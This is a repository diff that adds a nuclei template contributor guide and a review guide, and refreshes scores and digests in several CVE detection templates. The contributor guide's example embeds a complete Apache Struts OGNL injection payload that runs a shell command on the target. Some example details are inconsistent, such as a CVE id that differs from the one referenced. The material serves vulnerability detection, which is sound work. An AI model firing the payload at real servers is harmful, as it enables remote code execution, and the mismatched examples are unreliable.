- "{{Hostname}}"
|
||||
port: 8080
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Server: VulnServer/1.0"
|
||||
part: data
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Submission Guidelines
|
||||
|
||||
### **Preparing Your Template for Submission**
|
||||
1. **Validate Syntax**
|
||||
```bash
|
||||
nuclei -validate -t your-template.yaml
|
||||
```
|
||||
|
||||
2. **Test Thoroughly**
|
||||
```bash
|
||||
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
|
||||
```
|
||||
|
||||
3. **Check for Existing Templates**
|
||||
- Search the repository for similar vulnerabilities
|
||||
- Avoid duplicating existing detection logic
|
||||
- If improving existing template, explain why
|
||||
|
||||
4. **Follow Naming Conventions**
|
||||
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
|
||||
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
|
||||
|
||||
### **Pull Request Best Practices**
|
||||
- **Title**: Clear description of what the template detects
|
||||
- **Description**: Include:
|
||||
- Link to vulnerability details/advisory
|
||||
- Affected versions
|
||||
- Testing methodology
|
||||
- Screenshots/proof if possible
|
||||
- **Testing**: Show debug output proving detection works
|
||||
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
|
||||
- **References**: Include all relevant security advisories
|
||||
|
||||
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
|
||||
|
||||
---
|
||||
|
||||
## Quality Checklist
|
||||
|
||||
### **Before Submitting Your Template**
|
||||
- [ ] **Functionality**
|
||||
- [ ] Template detects the intended vulnerability
|
||||
- [ ] No false positives on tested systems
|
||||
- [ ] Matchers are specific and accurate
|
||||
|
||||
- [ ] **Attribution**
|
||||
- [ ] Original vulnerability discoverer credited in author field
|
||||
- [ ] All references included and valid
|
||||
- [ ] Proper CVSS scoring if applicable
|
||||
|
||||
- [ ] **Quality**
|
||||
- [ ] YAML syntax is valid
|
||||
- [ ] Follows nuclei template conventions
|
||||
- [ ] Includes appropriate tags and metadata
|
||||
|
||||
- [ ] **Testing**
|
||||
- [ ] Tested against vulnerable instance
|
||||
- [ ] Tested against non-vulnerable similar systems
|
||||
- [ ] Debug output reviewed for accuracy
|
||||
|
||||
- [ ] **Documentation**
|
||||
- [ ] Clear description of what template detects
|
||||
- [ ] Proper severity classification
|
||||
- [ ] Complete reference list
|
||||
|
||||
---
|
||||
|
||||
## Examples of High-Quality Templates
|
||||
|
||||
### **Complete CVE Template Example**
|
||||
```yaml
|
||||
id: CVE-2024-1234-apache-struts-rce
|
||||
|
||||
info:
|
||||
name: Apache Struts 2.x OGNL Code Injection
|
||||
author: your-github-username,original-researcher-handle
|
||||
severity: critical
|
||||
description: |
|
||||
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
|
||||
OGNL injection vulnerability in the namespace value that allows remote
|
||||
code execution.
|
||||
reference:
|
||||
- https://cwiki.apache.org/confluence/display/WW/S2-057
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
|
||||
- https://seclists.org/fulldisclosure/2018/Aug/31
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.1
|
||||
cve-id: CVE-2018-11776
|
||||
cwe-id: CWE-94
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: 'http.component:"Apache Struts"'
|
||||
fofa-query: 'body="struts" && title="Apache"'
|
||||
tags: cve,cve2018,rce,apache,struts,ognl,kev
|
||||
|
||||
variables:
|
||||
command: "whoami"
|
||||
marker: "{{rand_base(8)}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "struts"
|
||||
- "java"
|
||||
part: body
|
||||
condition: or
|
||||
|
||||
- type: regex
|
||||
regex:
|
||||
- 'root|administrator|www-data|apache'
|
||||
part: body
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Getting Help
|
||||
|
||||
### **Resources**
|
||||
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
|
||||
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
|
||||
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
|
||||
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
|
||||
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
|
||||
- **Testing**: Use local vulnerable applications for safe testing
|
||||
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
|
||||
|
||||
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
|
||||
|
||||
### **Common Issues and Solutions**
|
||||
- **False Positives**: Make matchers more specific, add version detection
|
||||
- **YAML Errors**: Use online YAML validators, check indentation
|
||||
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
|
||||
- **Performance Issues**: Minimize requests, optimize matchers
|
||||
|
||||
---
|
||||
|
||||
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
|
||||
@@ -0,0 +1,441 @@
|
||||
# Nuclei Template Review Guide
|
||||
**Best Practices for Template Quality and Security**
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### **Review Priority Areas**
|
||||
1. **Quality & Consistency** - Formatting, syntax, field standardization
|
||||
2. **Metadata Enhancement** - Search queries, classifications, documentation
|
||||
3. **Tags Optimization** - Category alignment, searchability
|
||||
4. **Classification** - CVE/CWE alignment, severity scoring
|
||||
5. **Matcher Refinement** - Detection logic, false positive prevention
|
||||
|
||||
### **Common Areas for Improvement**
|
||||
- **Community Contributions:** Often need metadata and classification enhancements
|
||||
- **Template Reviews:** Focus on technical accuracy and matcher quality
|
||||
|
||||
---
|
||||
|
||||
## Pre-Review Checklist
|
||||
|
||||
### **Template Completeness Verification**
|
||||
```yaml
|
||||
Required Fields Checklist:
|
||||
- [ ] id: Short, descriptive (max 3-4 words)
|
||||
- [ ] name: Format "Vendor Product Version - Vulnerability"
|
||||
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
|
||||
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
|
||||
- [ ] description: Clear vulnerability explanation
|
||||
- [ ] reference: Valid POC/advisory links
|
||||
- [ ] classification: CVE-ID, CWE-ID if applicable
|
||||
```
|
||||
|
||||
### **Author Attribution Best Practices**
|
||||
```yaml
|
||||
# GOOD - Include both template author and vulnerability discoverer in author field
|
||||
info:
|
||||
author: template-author-github-username,original-discoverer-handle
|
||||
description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
|
||||
reference:
|
||||
- https://github.com/security_researcher/advisories/example-app-sqli
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-1234
|
||||
|
||||
# EXAMPLES of proper author attribution
|
||||
info:
|
||||
author: princechaddha,0xd0ff9 # Template by princechaddha, vulnerability found by 0xd0ff9
|
||||
|
||||
info:
|
||||
author: dhiyaneshDk,researcher_name # Template by dhiyaneshDk, discovered by researcher_name
|
||||
|
||||
info:
|
||||
author: geeknik,@security_handle # Template by geeknik, found by @security_handle
|
||||
```
|
||||
|
||||
### **Metadata Quality Check**
|
||||
```yaml
|
||||
Enhanced Metadata:
|
||||
- [ ] verified: true (if tested with debug data)
|
||||
- [ ] shodan-query: Search dork for asset discovery
|
||||
- [ ] fofa-query: Alternative search engine query
|
||||
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
|
||||
|
||||
Note: max-request is auto-generated and doesn't need manual input
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Matcher Quality Framework
|
||||
|
||||
### **🚫 Weak Matchers (High False Positive Risk)**
|
||||
|
||||
#### **Generic Response Patterns - AVOID**
|
||||
```yaml
|
||||
# BAD - Matches any admin interface globally
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "admin"
|
||||
- "login"
|
||||
- "dashboard"
|
||||
part: body
|
||||
```
|
||||
**Problem:** These terms appear on millions of legitimate systems
|
||||
|
||||
#### **Version-Only Detection - AVOID**
|
||||
```yaml
|
||||
# BAD - Matches all versions, not just vulnerable ones
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- 'WordPress [0-9]+\.[0-9]+'
|
||||
part: body
|
||||
```
|
||||
**Problem:** Doesn't verify actual vulnerability presence
|
||||
|
||||
### **✅ Strong Vulnerability-Specific Matchers**
|
||||
|
||||
#### **Multi-Layer Verification Strategy**
|
||||
```yaml
|
||||
# GOOD - Combines application + version + vulnerability proof
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word # Layer 1: Identify specific application
|
||||
words:
|
||||
- "Grafana Dashboard"
|
||||
- "grafana.com/login"
|
||||
part: body
|
||||
|
||||
- type: regex # Layer 2: Confirm vulnerable version range
|
||||
regex:
|
||||
- 'version.*[6-8]\.[0-5]\.[0-9]'
|
||||
part: body
|
||||
|
||||
- type: word # Layer 3: Verify exploit success
|
||||
words:
|
||||
- "unauthorized_data_access"
|
||||
- "/api/snapshots/{{randstr}}"
|
||||
part: body
|
||||
condition: or
|
||||
```
|
||||
|
||||
#### **CVE-Specific Template Example**
|
||||
```yaml
|
||||
# CVE-2024-1234 - Specific Application RCE
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "VulnApp Management Console v2.1.0" # Exact vulnerable version
|
||||
- "Build 2024.03.15" # Specific build identifier
|
||||
part: body
|
||||
|
||||
- type: status # Expected response code
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word # Exploitation proof
|
||||
words:
|
||||
- "RCE_EXECUTION_SUCCESS_{{randstr}}" # Unique payload response
|
||||
- "nuclei_test_command_output" # Command execution indicator
|
||||
part: body
|
||||
condition: or
|
||||
```
|
||||
|
||||
#### **Panel Detection - Unique Signatures**
|
||||
```yaml
|
||||
# FortiGate Panel - Multiple unique identifiers
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<title>FortiGate - Login</title>" # Specific page title
|
||||
- "Fortinet, Inc." # Vendor attribution
|
||||
- "FortiOS Version:" # Version indicator
|
||||
part: body
|
||||
condition: or
|
||||
|
||||
- type: regex
|
||||
regex:
|
||||
- '/images/fortinet_logo_[0-9]+\.png' # Unique asset pattern
|
||||
- 'build_[0-9]{4}_[0-9]{6}' # Build number format specific to FortiGate
|
||||
part: body
|
||||
condition: or
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## False Positive Prevention
|
||||
|
||||
### **High-Risk Scenarios to Test**
|
||||
Before approval, verify matchers DON'T trigger on:
|
||||
|
||||
1. **Related Non-Vulnerable Systems**
|
||||
- Same vendor, different products
|
||||
- Same application, patched versions
|
||||
- Similar interfaces, different implementations
|
||||
|
||||
2. **Generic Web Applications**
|
||||
- Common frameworks (WordPress, Django, Rails)
|
||||
- Standard admin panels (cPanel, Plesk)
|
||||
- Default server pages (Apache, Nginx)
|
||||
|
||||
3. **Honeypot/Security Tools**
|
||||
- Intentionally deceptive responses
|
||||
- Security scanners mimicking vulnerabilities
|
||||
- Research environments with fake responses
|
||||
|
||||
### **Matcher Testing Checklist**
|
||||
```yaml
|
||||
Required Validation Steps:
|
||||
- [ ] Test against 3+ non-vulnerable similar applications
|
||||
- [ ] Verify unique response elements are truly unique
|
||||
- [ ] Confirm payload/exploitation indicators are specific
|
||||
- [ ] Check matcher doesn't trigger on default installations
|
||||
- [ ] Validate version detection accuracy (if applicable)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Review Categories by Impact
|
||||
|
||||
### **1. Metadata Enhancement**
|
||||
**Most Common Missing Elements:**
|
||||
- `shodan-query` for asset discovery
|
||||
- `fofa-query` for alternative search engines
|
||||
- `classification` fields for vulnerability tracking
|
||||
|
||||
**Review Actions:**
|
||||
```yaml
|
||||
# Add asset discovery capabilities
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
|
||||
fofa-query: 'title="Grafana" && body="grafana"'
|
||||
|
||||
# Ensure proper classification
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-1234
|
||||
cwe-id: CWE-89
|
||||
```
|
||||
|
||||
### **2. Matcher Quality**
|
||||
**Common Issues:**
|
||||
- Overly broad detection patterns
|
||||
- Missing context verification
|
||||
- Weak exploitation proof
|
||||
|
||||
**Review Standards:**
|
||||
```yaml
|
||||
# Require multi-layer validation
|
||||
matchers-condition: and # Force all conditions to match
|
||||
matchers:
|
||||
- type: word # Application identification
|
||||
- type: status # Response validation
|
||||
- type: word # Vulnerability proof
|
||||
condition: or # Allow multiple proof methods
|
||||
```
|
||||
|
||||
### **3. Severity Assessment**
|
||||
**CVSS Alignment Requirements:**
|
||||
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
|
||||
- **High (7.0-8.9):** Significant data breach, privilege escalation
|
||||
- **Medium (4.0-6.9):** Information disclosure, limited access
|
||||
- **Low (0.1-3.9):** Minor information leakage, requires authentication
|
||||
|
||||
### **4. Reference Validation**
|
||||
**Required Reference Quality:**
|
||||
- Original vulnerability advisory (CVE, vendor security bulletin)
|
||||
- Technical analysis or proof of concept
|
||||
- NIST NVD entry (if available)
|
||||
- Public disclosure timeline
|
||||
|
||||
---
|
||||
|
||||
## Reviewer Action Templates
|
||||
|
||||
### **For Metadata Improvements**
|
||||
```
|
||||
Please enhance the template metadata:
|
||||
- Add `shodan-query` for asset discovery: `[suggested query]`
|
||||
- Include `fofa-query` for alternative search: `[suggested query]`
|
||||
- Verify `classification` fields are complete
|
||||
- Ensure `verified: true` with debug data if tested
|
||||
```
|
||||
|
||||
### **For Weak Matchers**
|
||||
```
|
||||
The current matchers may produce false positives. Please:
|
||||
- Add application-specific identifiers (exact titles, unique elements)
|
||||
- Include version validation for vulnerable ranges only
|
||||
- Verify exploitation proof rather than just version detection
|
||||
- Test against [specific non-vulnerable scenarios]
|
||||
```
|
||||
|
||||
### **For Severity Issues**
|
||||
```
|
||||
Severity should be [X] based on CVSS impact:
|
||||
- Attack Vector: [Network/Adjacent/Local/Physical]
|
||||
- Impact: [Complete/Partial/None] for CIA triad
|
||||
- Required Privileges: [None/Low/High]
|
||||
- Reference CVSS calculator: [link]
|
||||
```
|
||||
|
||||
### **For Missing References**
|
||||
```
|
||||
Please add comprehensive references:
|
||||
- Original vulnerability disclosure/advisory
|
||||
- Technical analysis or exploitation details
|
||||
- Official vendor security bulletin (if available)
|
||||
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
|
||||
```
|
||||
|
||||
### **For Missing Vulnerability Discoverer Attribution**
|
||||
```
|
||||
Please credit the original vulnerability discoverer in the author field:
|
||||
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
|
||||
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
|
||||
- Include original disclosure/research reference
|
||||
- Ensure proper credit for both template creator AND vulnerability researcher
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quality Standards & Goals
|
||||
|
||||
### **Template Accuracy Goals**
|
||||
- **False Positive Rate:** <2% (verified through community feedback)
|
||||
- **Detection Coverage:** 95%+ for vulnerable instances
|
||||
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
|
||||
|
||||
### **Review Consistency Standards**
|
||||
- **Response Time:** Initial review within 48 hours
|
||||
- **Feedback Quality:** Specific, actionable guidance with examples
|
||||
- **Approval Criteria:** All quality checks pass, tested when possible
|
||||
|
||||
### **Community Impact**
|
||||
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
|
||||
- **Review Effectiveness:** Track issues caught in review vs. post-merge
|
||||
- **Knowledge Transfer:** Successful elevation of community template quality
|
||||
|
||||
---
|
||||
|
||||
## Advanced Review Techniques
|
||||
|
||||
### **Template Testing Environment Setup**
|
||||
```bash
|
||||
# Recommended testing workflow
|
||||
nuclei -t new-template.yaml -target vulnerable-lab.com -debug
|
||||
nuclei -t new-template.yaml -target patched-system.com -debug
|
||||
nuclei -t new-template.yaml -list target-variety.txt -silent
|
||||
```
|
||||
|
||||
### **Vulnerability Context Research**
|
||||
1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
|
||||
2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements
|
||||
3. **Community Disclosure Analysis:** Check for additional context or limitations
|
||||
4. **Exploit Database Validation:** Compare detection approach with known exploits
|
||||
|
||||
### **Review Documentation Standards**
|
||||
- Document testing methodology in PR comments
|
||||
- Provide specific improvement suggestions with examples
|
||||
- Reference similar high-quality templates as comparison
|
||||
- Explain security rationale for matcher requirements
|
||||
|
||||
---
|
||||
|
||||
## Practical Examples by Vulnerability Type
|
||||
|
||||
### **SQL Injection Templates**
|
||||
```yaml
|
||||
# WRONG - Generic database errors (match many systems)
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "mysql_fetch"
|
||||
- "SQL syntax"
|
||||
|
||||
# RIGHT - Specific to vulnerability context
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "mysql_fetch_array(): supplied argument" # Specific error pattern
|
||||
- "WHERE id='1' OR '1'='1'" # Injection payload context
|
||||
- "users table does not exist" # Application-specific error
|
||||
part: body
|
||||
condition: and
|
||||
```
|
||||
|
||||
### **RCE Templates**
|
||||
```yaml
|
||||
# WRONG - Generic command output
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "root"
|
||||
- "/bin/bash"
|
||||
|
||||
# RIGHT - Command execution in vulnerability context
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- 'uid=0\(root\) gid=0\(root\) groups=0\(root\)' # Complete whoami output
|
||||
part: body
|
||||
- type: word
|
||||
words:
|
||||
- "nuclei_rce_test_{{rand_base(6)}}" # Unique payload identifier
|
||||
part: body
|
||||
```
|
||||
|
||||
### **File Upload Vulnerabilities**
|
||||
```yaml
|
||||
# WRONG - Generic file upload success
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "uploaded successfully"
|
||||
- "file saved"
|
||||
|
||||
# RIGHT - Vulnerability-specific upload validation
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/" # Specific path + file
|
||||
- "File permissions: 644" # System response
|
||||
- "<?php echo 'nuclei_upload_test'; ?>" # File content verification
|
||||
part: body
|
||||
condition: and
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Multi-Layer Matcher Strategy
|
||||
|
||||
```yaml
|
||||
# Use multiple verification layers
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word # Layer 1: Identify the application
|
||||
words:
|
||||
- "VulnApp Management Console"
|
||||
part: body
|
||||
|
||||
- type: regex # Layer 2: Confirm vulnerable version
|
||||
regex:
|
||||
- 'Version: [1-2]\.[0-5]\.[0-9]'
|
||||
part: body
|
||||
|
||||
- type: word # Layer 3: Verify vulnerability exists
|
||||
words:
|
||||
- "debug_info_exposed"
|
||||
- "configuration_leak"
|
||||
part: body
|
||||
condition: or
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
|
||||
@@ -39,7 +39,7 @@ code:
|
||||
name: projectIds
|
||||
internal: true
|
||||
json:
|
||||
- '.[].projectId'
|
||||
- ".[].projectId"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
@@ -52,7 +52,7 @@ code:
|
||||
name: emails
|
||||
internal: true
|
||||
json:
|
||||
- '.[].email'
|
||||
- ".[].email"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
@@ -63,10 +63,12 @@ code:
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'KEY_ID'
|
||||
- "USER_MANAGED"
|
||||
- "KEY_ID"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
|
||||
# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950
|
||||
@@ -39,7 +39,7 @@ code:
|
||||
name: projectIds
|
||||
internal: true
|
||||
json:
|
||||
- '.[].projectId'
|
||||
- ".[].projectId"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
@@ -52,7 +52,7 @@ code:
|
||||
name: buckets
|
||||
internal: true
|
||||
json:
|
||||
- '.[].name'
|
||||
- ".[].name"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
@@ -62,11 +62,13 @@ code:
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
negative: true
|
||||
words:
|
||||
- 'inherited'
|
||||
- "inherited"
|
||||
- "enforced"
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
|
||||
# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950
|
||||
@@ -11,7 +11,8 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
classification:
|
||||
epss-score: 0.94462
|
||||
epss-score: 0.94436
|
||||
epss-percentile: 0.99985
|
||||
tags: cve,cve2014,openssl,heartbleed,code,kev
|
||||
|
||||
variables:
|
||||
@@ -137,4 +138,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "contains(response,'server is vulnerable')"
|
||||
# digest: 4a0a00473045022072146a555c1e39921511dd324015ad2f19b58bef855a158d53f18bad4a3068f70221008aea99f59b94f83393eb50e906fb55a005e15f80d20d8502d4a6bbdeea861d8a:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100de5bcf5a11dae2acd27790f363dbac2ea1648a2705641e60e45502f7f65b52bd022100f7eeb1507f64ef6394921b90db4669a9de421961a08e8cacebb100829d60744e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -15,8 +15,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2017-1000353
|
||||
cwe-id: CWE-502
|
||||
epss-score: 0.94421
|
||||
epss-percentile: 0.99980
|
||||
epss-score: 0.94417
|
||||
epss-percentile: 0.99977
|
||||
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: jenkins
|
||||
@@ -104,4 +104,4 @@ code:
|
||||
dsl:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
condition: and
|
||||
# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100ce21e59fbef8557efee037d0aabf55a89aaf84eefabc875cb1a8bf1317f049f7022100bd25c692c2a1aeb825772a6bafcbf8bae0655ebc81dd2e19bbef662223b83413:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,7 +17,7 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2019-0604
|
||||
cwe-id: CWE-20
|
||||
epss-score: 0.94436
|
||||
epss-score: 0.94411
|
||||
epss-percentile: 0.99974
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -154,4 +154,4 @@ code:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
- 'contains(interactsh_request, hex_encode(marker))'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100b4400e86f6a613a3fec15c78d78b5eaa02c765fc3cd2a0fedae2a3caf6a640f602206838f019d39312a9e53fa6c5595b7ed095cef565d8599f8a9e20273c38886bbe:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502210096d76d25185303429efadc97c5b4855bc24642a03c82ba4a4eb48dc12cc7c44b02206f74dc39cb91026246459c9d02e759864a294c2d1b449c8258d1f274f04a75c6:922c64590222798bb761d5b6d8e72950
|
||||
@@ -18,7 +18,7 @@ info:
|
||||
cve-id: CVE-2019-14287
|
||||
cwe-id: CWE-755
|
||||
epss-score: 0.84563
|
||||
epss-percentile: 0.99279
|
||||
epss-percentile: 0.9928
|
||||
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -47,4 +47,4 @@ code:
|
||||
- '!contains(code_1_response, "root")'
|
||||
- 'contains(code_2_response, "root")'
|
||||
condition: and
|
||||
# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100930a339c65379309a9faa701a5b6846231da024e6a05b25b3e3f4649a6696c1d0221008b11102e929e18b5c755e7209b1985bdb4809e0fdd1568041fa4ed87021fdb93:922c64590222798bb761d5b6d8e72950
|
||||
@@ -16,7 +16,7 @@ info:
|
||||
cve-id: CVE-2020-0646
|
||||
cwe-id: CWE-91
|
||||
epss-score: 0.93121
|
||||
epss-percentile: 0.99755
|
||||
epss-percentile: 0.99784
|
||||
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -102,4 +102,4 @@ code:
|
||||
- 'contains(content_type, "text/xml")'
|
||||
- 'status_code == 200'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100cb487f0bd652d387ee37c93aeff51bc10e1ee1685ed827748844380e2a1d224802202681a6f09065aa05fe76062fb4b71a801d269cccb60e095d1a1b782981fdff69:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100cce57f13e3f57480b4047b0139f0db23137f0ada4cd63dd0d544d8cf9c411e64022100b2966b642f616a896722f9178ac6263a7544ff37ec9e954952fe7e6b22fa7f32:922c64590222798bb761d5b6d8e72950
|
||||
@@ -10,8 +10,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2020-13935
|
||||
epss-score: 0.92195
|
||||
epss-percentile: 0.99681
|
||||
epss-score: 0.92318
|
||||
epss-percentile: 0.99713
|
||||
reference:
|
||||
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
|
||||
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
|
||||
|
||||
@@ -17,8 +17,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2021-3156
|
||||
cwe-id: CWE-193
|
||||
epss-score: 0.92263
|
||||
epss-percentile: 0.99693
|
||||
epss-score: 0.92492
|
||||
epss-percentile: 0.99727
|
||||
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -40,4 +40,4 @@ code:
|
||||
- "malloc(): memory corruption"
|
||||
- "Aborted (core dumped)"
|
||||
condition: and
|
||||
# digest: 4a0a004730450220156c4b47288c1bd2c345a71670734fd19e48ad7b8e807cf94a55943b470236ae022100b0a5f9dbc02cd24f1b8c73147526a7ad7d50553730b0ecb9325cca9c7b327c6d:922c64590222798bb761d5b6d8e72950
|
||||
